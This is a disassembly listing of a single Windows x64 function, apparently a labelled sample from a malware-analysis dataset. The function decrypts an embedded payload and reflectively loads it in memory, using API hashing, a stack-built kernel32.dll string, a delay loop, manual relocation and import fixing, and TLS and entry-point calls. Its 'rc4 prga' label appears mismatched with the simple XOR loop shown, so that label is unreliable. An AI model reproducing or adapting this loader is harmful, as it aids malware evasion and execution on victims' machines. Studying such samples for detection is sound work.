Function at 0x140001190
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov qword [rsp + 8], rcx
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x1f]
sub rsp, 0xe8
xor r15d, r15d
mov dword [rsp + 0x20], 0x44242571
mov dword [rsp + 0x24], 0x4e427558
mov dword [rsp + 0x28], 0x406b4265
mov dword [rsp + 0x2c], 0x593c447a
mov dword [rsp + 0x30], 0x31346549
mov word [rbp - 0x71], r15w
mov dword [rsp + 0x34], 0x6f3f564a
mov word [rsp + 0x38], 0x43
mov dword [rsp + 0x40], 0x65006b
mov dword [rsp + 0x44], 0x6e0072
mov dword [rsp + 0x48], 0x6c0065
mov dword [rbp - 0x7d], 0x320033
mov dword [rbp - 0x79], 0x64002e
mov dword [rbp - 0x75], 0x6c006c
mov edx, 0x3d090c
mov eax, r15d
lea rcx, [rbp - 0x59]
mov byte [rcx], al
inc eax
inc rcx
cmp eax, 0x6a
jb 0x1400010df
dec rdx
jne 0x1400010d8
cmp byte [rbp - 0xe], 0x4b
jne 0x140001105
lea rcx, [rsp + 0x40]
call fcn.1400015ae
mov rbx, rax
jmp 0x140001109
mov rbx, qword [rbp + 0x67]
mov edx, 0xe3142
mov rcx, rbx
call fcn.140001602
mov edx, 0xd5786
mov rcx, rbx
mov rdi, rax
call fcn.140001602
mov edx, 0x348bfa
mov rcx, rbx
mov qword [rbp - 0x61], rax
call fcn.140001602
mov r12d, 0x3000
mov r13d, 0x46b400
mov r9d, 4
xor ecx, ecx
mov r8d, r12d
mov edx, r13d
mov qword [rbp - 0x69], rax
call rdi
movsx r8d, byte [rbp - 0x59]
movsx r9, byte [rbp - 0x59]
mov r14, rax
mov eax, 0x92f11385
mov r10d, r15d
imul r8d
movsx eax, byte [rbp - 0x48]
add edx, r8d
sar edx, 7
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
imul ecx, r8d, 0xfffffeaa
mov r8d, 0x66666667
imul edx, eax
imul eax, edx, 0xe
movsxd rbx, eax
mov eax, r8d
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, r8d
imul edx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, r8d
imul edx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, r8d
imul edx
mov eax, r8d
sar edx, 1
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
imul edx
mov eax, r8d
sar edx, 1
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
imul edx
mov ecx, edx
sar ecx, 1
mov eax, ecx
shr eax, 0x1f
add ecx, eax
mov eax, 0xbfa02fe9
imul ecx
add edx, ecx
sar edx, 8
mov eax, edx
shr eax, 0x1f
add edx, eax
movsxd r11, edx
movsx rsi, byte [rbp - 0x58]
imul rax, r9, 0xd7c
imul r9, r9, 0x137
sub r11, rax
movabs rax, section.otM
add r11, r14
add r9, rax
movsxd rcx, r10d
movabs rax, 0x4ec4ec4ec4ec4ec5
inc r10d
mul rcx
shr rdx, 3
imul rax, rdx, 0x1a
sub rcx, rax
sub rcx, rbx
mov al, byte [rsp + rcx + 0x20]
xor al, byte [r9]
add r9, rsi
mov byte [r11], al
inc r11
cmp r10d, r13d
jb 0x140001228
mov rcx, r14
call fcn.1400014aa
movsx r9d, byte [rbp - 0x51]
mov r8d, r12d
shl r9d, 3
mov rdx, rax
xor ecx, ecx
call rdi
mov rbx, rax
test rax, rax
je 0x140001493
movsxd rdi, dword [r14 + 0x3c]
mov r13, rax
mov rdx, r14
add rdi, r14
mov rcx, rax
sub r13, qword [rdi + 0x30]
mov r8d, dword [rdi + 0x54]
movzx esi, word [rdi + 0x14]
mov qword [rbp + 0x77], r13
mov qword [rbp + 0x7f], rdi
mov qword [rdi + 0x30], rax
call fcn.1400014ca
mov r10, qword [rdi + 0xb0]
mov r11, qword [rdi + 0x90]
xor eax, eax
mov qword [rbp + 0x6f], r10
mov r12, r15
cmp ax, word [rdi + 6]
jae 0x140001493
add rsi, 0x24
mov r13d, eax
add rsi, rdi
mov r9d, dword [rsi]
cmp r10d, r9d
jb 0x1400012f4
mov ecx, dword [rsi - 4]
add ecx, r9d
cmp r10d, ecx
jae 0x1400012f4
lea r12, [rsi - 0xc]
cmp r11d, r9d
jb 0x140001308
mov ecx, dword [rsi - 4]
add ecx, r9d
cmp r11d, ecx
jae 0x140001308
lea r13, [rsi - 0xc]
mov edx, dword [rsi + 8]
mov r8d, dword [rsi + 4]
lea rcx, [rbx + r9]
add rdx, r14
call fcn.1400014ca
movzx eax, word [rdi + 6]
inc r15d
add rsi, 0x28
cmp r15d, eax
jl 0x1400012dd
xor r8d, r8d
test r13, r13
mov r13, qword [rbp + 0x77]
je 0x140001493
mov eax, dword [rbp + 0x73]
mov r11d, r8d
test rax, rax
je 0x1400013cc
xor edi, edi
mov r15d, dword [r12 + 0x14]
add r15, r11
add r11, 8
mov esi, dword [r15 + r14 + 4]
sub rsi, 8
shr rsi, 1
je 0x1400013c0
mov eax, dword [r12 + 0x14]
add rax, r11
add r11, 2
movzx ecx, word [rax + r14]
mov eax, 0xf000
test ax, cx
je 0x1400013b8
mov r10d, dword [r15 + r14]
and ecx, 0xfff
mov r8d, 8
lea rax, [rbx + rcx]
lea rcx, [rbp + 0x67]
mov qword [rbp + 0x67], rdi
add r10, rax
mov rdx, r10
call fcn.1400014ca
add qword [rbp + 0x67], r13
lea rdx, [rbp + 0x67]
mov rcx, r10
call fcn.1400014ca
dec rsi
jne 0x140001366
mov eax, dword [rbp + 0x73]
cmp r11, rax
jb 0x14000134c
mov rdi, qword [rbp + 0x7f]
xor r8d, r8d
mov r15d, dword [rdi + 0x90]
add r15, rbx
je 0x140001493
add r15, 0xc
cmp dword [r15], r8d
je 0x140001446
mov r13, qword [rbp - 0x69]
mov ecx, dword [r15]
add rcx, rbx
call qword [rbp - 0x61]
xor r8d, r8d
mov r12, rax
test rax, rax
je 0x140001493
mov esi, dword [r15 + 4]
add rsi, rbx
jmp 0x140001438
mov rax, qword [rsi]
movabs rcx, 0x8000000000000000
test rcx, rax
mov rcx, r12
je 0x140001424
movzx edx, ax
jmp 0x14000142b
lea rdx, [rax + 2]
add rdx, rbx
call r13
mov qword [rsi], rax
add rsi, 8
xor r8d, r8d
cmp qword [rsi], r8
jne 0x14000140a
add r15, 0x14
cmp dword [r15], r8d
jne 0x1400013e9
mov rcx, r14
call fcn.1400014b6
test eax, eax
je 0x140001477
mov eax, dword [rdi + 0xd0]
mov rsi, qword [rax + rbx + 0x18]
jmp 0x14000146f
xor r8d, r8d
mov rcx, r14
lea edx, [r8 + 1]
call rax
lea rsi, [rsi + 8]
mov rax, qword [rsi]
test rax, rax
jne 0x14000145f
mov eax, dword [rdi + 0x28]
xor r8d, r8d
mov rcx, rbx
lea edx, [r8 + 1]
add rax, rbx
call rax
neg eax
sbb rax, rax
and rax, rbx
jmp 0x140001495
xor eax, eax
add rsp, 0xe8
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret